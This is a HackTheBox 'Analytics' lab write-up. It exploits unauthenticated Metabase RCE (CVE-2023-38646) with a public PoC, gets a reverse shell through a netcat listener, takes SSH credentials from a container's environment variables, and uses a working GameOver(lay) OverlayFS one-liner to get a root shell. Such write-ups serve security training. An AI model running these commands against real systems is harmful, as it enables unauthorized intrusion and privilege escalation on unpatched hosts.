HackTheBox: Analytics

On this easy machine we got to see the Metabase service and GameOver(lay) in play.

Enumeration

We started with an Nmap scan. Only ports 22 and 80 were open, which leads us to look for other approaches.

# Nmap 7.94SVN scan initiated as: nmap -p22,80 -sCV -Pn -n analytical.htb
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.075s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerating the website, we found a login.

Going to the login page, we find a Metabase instance.

What is Metabase?

Metabase is an open-source business intelligence platform. You can use it to ask questions about your data, or embed it in your app so your customers can explore their data on their own.

Foothold

We found that Metabase is vulnerable to CVE-2023-38646.

https://github.com/shamo0/CVE-2023-38646-PoC

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server’s privilege level. Authentication is not required for exploitation.

Following the PoC, we first start our listener with netcat.

nc -lvnp 443

And then send our payload.

python3 CVE-2023-3846-Reverse-Shell.py --rhost <Target> --lhost <Attacker> --lport <Attacker-port>

We got access to a Docker container.

Privilege Escalation

In the foothold we are inside a Docker instance, which greatly limits us, so we set out to hunt for passwords or any other sensitive information.

Searching different places, one showed us valuable information: the environment variables. We found a credential that later gives us access to the real server through SSH.

Consequently, we obtained the first flag.

We begin to enumerate the system to escalate privileges, and in the first checks we find that the kernel version is vulnerable to GameOver(lay).

What is GameOver(lay)?

OverlayFS in Linux is a union filesystem that lays one filesystem on top of another, enabling file modifications without altering the base. This flexibility makes it a potential security concern: it lets users copy files from the “lower” to the “upper” directory while keeping critical file metadata (e.g. the sticky bit), which should not be possible in Linux.

https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability

By following and documenting the PoC, we were able to obtain root access.

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

We finally got our last flag.

Thanks for reading.